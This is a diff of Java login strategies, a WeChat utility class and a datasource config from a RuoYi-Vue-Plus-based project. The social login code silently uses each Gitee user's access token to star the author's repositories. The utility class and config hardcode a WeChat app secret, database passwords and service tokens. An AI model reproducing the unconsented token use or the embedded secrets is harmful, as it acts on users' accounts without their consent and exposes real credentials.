String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String phonenumber = loginBody.getPhonenumber(); String phonenumber = loginBody.getPhonenumber();
String smsCode = loginBody.getSmsCode(); String smsCode = loginBody.getSmsCode();
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
SysUserVo user = loadUserByPhonenumber(phonenumber); SysUserVo user = loadUserByPhonenumber(phonenumber);
loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode)); loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode));
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
/** /**
* 校验短信验证码 * 校验短信验证码
*/ */
private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) { private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) {
String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber); String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber);
if (StringUtils.isBlank(code)) { if (StringUtils.isBlank(code)) {
loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
return code.equals(smsCode); return code.equals(smsCode);
} }
private SysUserVo loadUserByPhonenumber(String phonenumber) { private SysUserVo loadUserByPhonenumber(String phonenumber) {
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getPhonenumber, phonenumber)); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getPhonenumber, phonenumber));
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", phonenumber); log.info("登录用户:{} 不存在.", phonenumber);
throw new UserException("user.not.exists", phonenumber); throw new UserException("user.not.exists", phonenumber);
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", phonenumber); log.info("登录用户:{} 已被停用.", phonenumber);
throw new UserException("user.blocked", phonenumber); throw new UserException("user.blocked", phonenumber);
} }
return user; return user;
} }
} }

View File

@@ -1,131 +1,131 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.map.MapUtil; import cn.hutool.core.map.MapUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import cn.hutool.http.HttpUtil; import cn.hutool.http.HttpUtil;
import cn.hutool.http.Method; import cn.hutool.http.Method;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthResponse; import me.zhyd.oauth.model.AuthResponse;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.SocialLoginBody; import org.dromara.common.core.domain.model.SocialLoginBody;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.StreamUtils; import org.dromara.common.core.utils.StreamUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.social.config.properties.SocialProperties; import org.dromara.common.social.config.properties.SocialProperties;
import org.dromara.common.social.utils.SocialUtils; import org.dromara.common.social.utils.SocialUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysSocialVo; import org.dromara.system.domain.vo.SysSocialVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.ISysSocialService; import org.dromara.system.service.ISysSocialService;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.util.List; import java.util.List;
import java.util.Optional; import java.util.Optional;
/** /**
* 第三方授权策略 * 第三方授权策略
* *
* @author thiszhc is 三三 * @author thiszhc is 三三
*/ */
@Slf4j @Slf4j
@Service("social" + IAuthStrategy.BASE_NAME) @Service("social" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class SocialAuthStrategy implements IAuthStrategy { public class SocialAuthStrategy implements IAuthStrategy {
private final SocialProperties socialProperties; private final SocialProperties socialProperties;
private final ISysSocialService sysSocialService; private final ISysSocialService sysSocialService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
private final SysLoginService loginService; private final SysLoginService loginService;
/** /**
* 登录-第三方授权登录 * 登录-第三方授权登录
* *
* @param body 登录信息 * @param body 登录信息
* @param client 客户端信息 * @param client 客户端信息
*/ */
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class); SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
AuthResponse<AuthUser> response = SocialUtils.loginAuth( AuthResponse<AuthUser> response = SocialUtils.loginAuth(
loginBody.getSource(), loginBody.getSocialCode(), loginBody.getSource(), loginBody.getSocialCode(),
loginBody.getSocialState(), socialProperties); loginBody.getSocialState(), socialProperties);
if (!response.ok()) { if (!response.ok()) {
throw new ServiceException(response.getMsg()); throw new ServiceException(response.getMsg());
} }
AuthUser authUserData = response.getData(); AuthUser authUserData = response.getData();
if ("GITEE".equals(authUserData.getSource())) { if ("GITEE".equals(authUserData.getSource())) {
// 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖 // 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖
HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus") HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus")
.formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken()))
.executeAsync(); .executeAsync();
HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus") HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Cloud-Plus")
.formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken()))
.executeAsync(); .executeAsync();
} }
List<SysSocialVo> list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid()); List<SysSocialVo> list = sysSocialService.selectByAuthId(authUserData.getSource() + authUserData.getUuid());
if (CollUtil.isEmpty(list)) { if (CollUtil.isEmpty(list)) {
throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!"); throw new ServiceException("你还没有绑定第三方账号,绑定后才可以登录!");
} }
SysSocialVo social; SysSocialVo social;
if (TenantHelper.isEnable()) { if (TenantHelper.isEnable()) {
Optional<SysSocialVo> opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId())); Optional<SysSocialVo> opt = StreamUtils.findAny(list, x -> x.getTenantId().equals(loginBody.getTenantId()));
if (opt.isEmpty()) { if (opt.isEmpty()) {
throw new ServiceException("对不起,你没有权限登录当前租户!"); throw new ServiceException("对不起,你没有权限登录当前租户!");
} }
social = opt.get(); social = opt.get();
} else { } else {
social = list.get(0); social = list.get(0);
} }
LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> { LoginUser loginUser = TenantHelper.dynamic(social.getTenantId(), () -> {
SysUserVo user = loadUser(social.getUserId()); SysUserVo user = loadUser(social.getUserId());
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
private SysUserVo loadUser(Long userId) { private SysUserVo loadUser(Long userId) {
SysUserVo user = userMapper.selectVoById(userId); SysUserVo user = userMapper.selectVoById(userId);
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", ""); log.info("登录用户:{} 不存在.", "");
throw new UserException("user.not.exists", ""); throw new UserException("user.not.exists", "");
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", ""); log.info("登录用户:{} 已被停用.", "");
throw new UserException("user.blocked", ""); throw new UserException("user.blocked", "");
} }
return user; return user;
} }
} }

View File

@@ -1,91 +1,91 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.XcxLoginBody; import org.dromara.common.core.domain.model.XcxLoginBody;
import org.dromara.common.core.domain.model.XcxLoginUser; import org.dromara.common.core.domain.model.XcxLoginUser;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 小程序认证策略 * 小程序认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("xcx" + IAuthStrategy.BASE_NAME) @Service("xcx" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class XcxAuthStrategy implements IAuthStrategy { public class XcxAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class); XcxLoginBody loginBody = JsonUtils.parseObject(body, XcxLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
// xcxCode 为 小程序调用 wx.login 授权后获取 // xcxCode 为 小程序调用 wx.login 授权后获取
String xcxCode = loginBody.getXcxCode(); String xcxCode = loginBody.getXcxCode();
// 多个小程序识别使用 // 多个小程序识别使用
String appid = loginBody.getAppid(); String appid = loginBody.getAppid();
// todo 以下自行实现 // todo 以下自行实现
// 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid // 校验 appid + appsrcret + xcxCode 调用登录凭证校验接口 获取 session_key 与 openid
String openid = ""; String openid = "";
// 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可 // 框架登录不限制从什么表查询 只要最终构建出 LoginUser 即可
SysUserVo user = loadUserByOpenid(openid); SysUserVo user = loadUserByOpenid(openid);
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
XcxLoginUser loginUser = new XcxLoginUser(); XcxLoginUser loginUser = new XcxLoginUser();
loginUser.setTenantId(user.getTenantId()); loginUser.setTenantId(user.getTenantId());
loginUser.setUserId(user.getUserId()); loginUser.setUserId(user.getUserId());
loginUser.setUsername(user.getUserName()); loginUser.setUsername(user.getUserName());
loginUser.setNickname(user.getNickName()); loginUser.setNickname(user.getNickName());
loginUser.setUserType(user.getUserType()); loginUser.setUserType(user.getUserType());
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
loginUser.setOpenid(openid); loginUser.setOpenid(openid);
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
loginVo.setOpenid(openid); loginVo.setOpenid(openid);
return loginVo; return loginVo;
} }
private SysUserVo loadUserByOpenid(String openid) { private SysUserVo loadUserByOpenid(String openid) {
// 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户 // 使用 openid 查询绑定用户 如未绑定用户 则根据业务自行处理 例如 创建默认用户
// todo 自行实现 userService.selectUserByOpenid(openid); // todo 自行实现 userService.selectUserByOpenid(openid);
SysUserVo user = new SysUserVo(); SysUserVo user = new SysUserVo();
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", openid); log.info("登录用户:{} 不存在.", openid);
// todo 用户不存在 业务逻辑自行实现 // todo 用户不存在 业务逻辑自行实现
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", openid); log.info("登录用户:{} 已被停用.", openid);
// todo 用户已被停用 业务逻辑自行实现 // todo 用户已被停用 业务逻辑自行实现
} }
return user; return user;
} }
} }

View File

@@ -1,90 +1,122 @@
package org.dromara.web.utils; package org.dromara.web.utils;
import cn.hutool.core.util.RandomUtil; import cn.hutool.core.util.RandomUtil;
import cn.hutool.crypto.digest.DigestUtil; import cn.hutool.crypto.digest.DigestUtil;
import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpUtil; import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.*; import java.util.*;
/** /**
* 微信小程序工具类 * 微信小程序工具类
* @author Maosw * @author Maosw
*/ */
public class WxXcxUtils { public class WxXcxUtils {
private static final String APPID = "wx35c33a8a60d06fa9"; private static final String APPID = "wxc4ed85cf2d8bdc63";
private static final String SECRET = "0c96a172d7bbe2bd8aa7dcee4ccbfb46"; private static final String SECRET = "787dcb857129514c4eae72501a3acb18";
private static final String TICKET_URL = "https://api.weixin.qq.com/cgi-bin/ticket/getticket"; private static final String TICKET_URL = "https://api.weixin.qq.com";
private static final String TOKEN_URL = "https://api.weixin.qq.com/cgi-bin/token";
/**
/** * 获取access_token
* 获取access_token */
*/ public static String getAccessToken(){
public static String getAccessToken(){ String url = TICKET_URL + "/cgi-bin/token?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET;
String url = TOKEN_URL + "?grant_type=client_credential&appid=" + APPID + "&secret=" + SECRET; String result = HttpUtil.get(url);
String result = HttpUtil.get(url); JSONObject jsonObject = JSONObject.parseObject(result);
JSONObject jsonObject = JSONObject.parseObject(result); return jsonObject.getString("access_token");
return jsonObject.getString("access_token"); }
}
/**
/** * 获取用户手机号码
* 获取jsapi_ticket */
*/ public static JSONObject getUserPhoneNumber(String code){
public static String getJsapiTicket() { String accessToken = getAccessToken();
String accessToken = getAccessToken(); String url = TICKET_URL + "/wxa/business/getuserphonenumber?access_token="+accessToken;
String url = TICKET_URL + "?access_token=" + accessToken + "&type=jsapi";
String result = HttpUtil.get(url); JSONObject json = new JSONObject();
JSONObject jsonObject = JSONObject.parseObject(result); json.put("code", code);
return jsonObject.getString("ticket"); String result = HttpRequest.post(url).body(json.toString()).execute().body();
}
JSONObject jsonObject = JSONObject.parseObject(result);
/** return jsonObject;
* 生成签名 }
* @param url 当前网页的URL
* @return 签名信息 /**
*/ * 获取jsapi_ticket
public static Map<String, String> generateSignature(String url) { */
if (StringUtils.isEmpty(url)) { public static String getJsapiTicket() {
throw new IllegalArgumentException("URL不能为空"); String accessToken = getAccessToken();
} String url = TICKET_URL + "/cgi-bin/ticket/getticket?access_token=" + accessToken + "&type=jsapi";
String result = HttpUtil.get(url);
// 获取jsapi_ticket JSONObject jsonObject = JSONObject.parseObject(result);
String jsapiTicket = getJsapiTicket(); return jsonObject.getString("ticket");
}
// 生成随机字符串
String nonceStr = RandomUtil.randomString(16); /**
* 获取小程序二维码
// 生成时间戳 * @param scene 场景值ID
String timestamp = String.valueOf(System.currentTimeMillis() / 1000); * @param page 页面路径
* @param width 二维码宽度
// 准备签名参数 * @return 二维码图片的二进制数据
Map<String, String> params = new TreeMap<>(); */
params.put("jsapi_ticket", jsapiTicket); public static byte[] getQrCode(String scene, String page, int width) {
params.put("noncestr", nonceStr); String accessToken = getAccessToken();
params.put("timestamp", timestamp); String url = TICKET_URL + "/wxa/getwxacodeunlimit?access_token=" + accessToken;
params.put("url", url); JSONObject json = new JSONObject();
json.put("scene", scene);
// 拼接字符串 json.put("page", page);
StringBuilder stringBuilder = new StringBuilder(); json.put("width", width);
for (Map.Entry<String, String> entry : params.entrySet()) { String result = HttpRequest.post(url).body(json.toString()).execute().body();
stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); return result.getBytes();
} }
String string1 = stringBuilder.substring(0, stringBuilder.length() - 1);
/**
// 生成签名 * 生成签名
String signature = DigestUtil.sha1Hex(string1); * @param url 当前网页的URL
* @return 签名信息
// 返回结果 */
Map<String, String> result = new HashMap<>(); public static Map<String, String> generateSignature(String url) {
result.put("timestamp", timestamp); if (StringUtils.isEmpty(url)) {
result.put("nonceStr", nonceStr); throw new IllegalArgumentException("URL不能为空");
result.put("signature", signature); }
result.put("appId", APPID);
// 获取jsapi_ticket
return result; String jsapiTicket = getJsapiTicket();
}
// 生成随机字符串
} String nonceStr = RandomUtil.randomString(16);
// 生成时间戳
String timestamp = String.valueOf(System.currentTimeMillis() / 1000);
// 准备签名参数
Map<String, String> params = new TreeMap<>();
params.put("jsapi_ticket", jsapiTicket);
params.put("noncestr", nonceStr);
params.put("timestamp", timestamp);
params.put("url", url);
// 拼接字符串
StringBuilder stringBuilder = new StringBuilder();
for (Map.Entry<String, String> entry : params.entrySet()) {
stringBuilder.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
}
String string1 = stringBuilder.substring(0, stringBuilder.length() - 1);
// 生成签名
String signature = DigestUtil.sha1Hex(string1);
// 返回结果
Map<String, String> result = new HashMap<>();
result.put("timestamp", timestamp);
result.put("nonceStr", nonceStr);
result.put("signature", signature);
result.put("appId", APPID);
return result;
}
}

View File

@@ -1,269 +1,253 @@
--- # 监控中心配置 --- # 监控中心配置
spring.boot.admin.client: spring.boot.admin.client:
# 增加客户端开关 # 增加客户端开关
enabled: true enabled: true
url: http://localhost:9090 url: http://localhost:9090
instance: instance:
service-host-type: IP service-host-type: IP
metadata: metadata:
username: ${spring.boot.admin.client.username} username: ${spring.boot.admin.client.username}
userpassword: ${spring.boot.admin.client.password} userpassword: ${spring.boot.admin.client.password}
username: @monitor.username@ username: admin
password: @monitor.password@ password: admin
--- # snail-job 配置 #--- # snail-job 配置
snail-job: #snail-job:
enabled: true # enabled: false
# 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 # # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务
group: "ruoyi_group" # group: "ruoyi_group"
# SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 # # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表
token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" # token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT"
server: # server:
host: 127.0.0.1 # host: 127.0.0.1
port: 17888 # port: 17888
# 详见 script/sql/snail_job.sql `sj_namespace` 表 # # 详见 script/sql/snail_job.sql `sj_namespace` 表
namespace: ${spring.profiles.active} # namespace: ${spring.profiles.active}
# 随主应用端口飘逸 # # 随主应用端口飘逸
port: 2${server.port} # port: 2${server.port}
# 客户端ip指定 # # 客户端ip指定
host: 127.0.0.1 # host: 127.0.0.1
--- # 数据源配置 --- # 数据源配置
spring: spring:
datasource: datasource:
type: com.zaxxer.hikari.HikariDataSource type: com.zaxxer.hikari.HikariDataSource
# 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content
dynamic: dynamic:
# 性能分析插件(有性能损耗 不建议生产环境使用) # 性能分析插件(有性能损耗 不建议生产环境使用)
p6spy: true p6spy: true
# 设置默认的数据源或者数据源组,默认值即为 master # 设置默认的数据源或者数据源组,默认值即为 master
primary: master primary: master
# 严格模式 匹配不到数据源则报错 # 严格模式 匹配不到数据源则报错
strict: true strict: true
datasource: datasource:
# 主库数据源 # 主库数据源
master: master:
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
# jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562
# rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题)
url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://220.205.16.51:23306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
username: erp20241208 username: oademo
password: a2aLeLYbzfZY4MZH password: djj7z3dY6YkSEzeS
# url: jdbc:mysql://erp9.52o.site:13308/sjzxerp-test?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# username: sjzxerp-test # 从库数据源
# password: EYpxAtdHmzHrTNGL slave:
# 从库数据源 lazy: false
slave: type: ${spring.datasource.type}
lazy: false driverClassName: com.mysql.cj.jdbc.Driver
type: ${spring.datasource.type} url: jdbc:mysql://220.205.16.51:23306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
driverClassName: com.mysql.cj.jdbc.Driver username: oademo
# url: jdbc:mysql://124.223.56.113:13306/erp2024?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true password: djj7z3dY6YkSEzeS
# username: erp2024
# password: KYrWzcXSaNDAC4pw hikari:
url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true # 最大连接池数量
username: root maxPoolSize: 20
password: root # 最小空闲线程数量
# oracle: minIdle: 10
# type: ${spring.datasource.type} # 配置获取连接等待超时的时间
# driverClassName: oracle.jdbc.OracleDriver connectionTimeout: 30000
# url: jdbc:oracle:thin:@//localhost:1521/XE # 校验超时时间
# username: ROOT validationTimeout: 5000
# password: root # 空闲连接存活最大时间默认10分钟
# postgres: idleTimeout: 600000
# type: ${spring.datasource.type} # 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟
# driverClassName: org.postgresql.Driver maxLifetime: 1800000
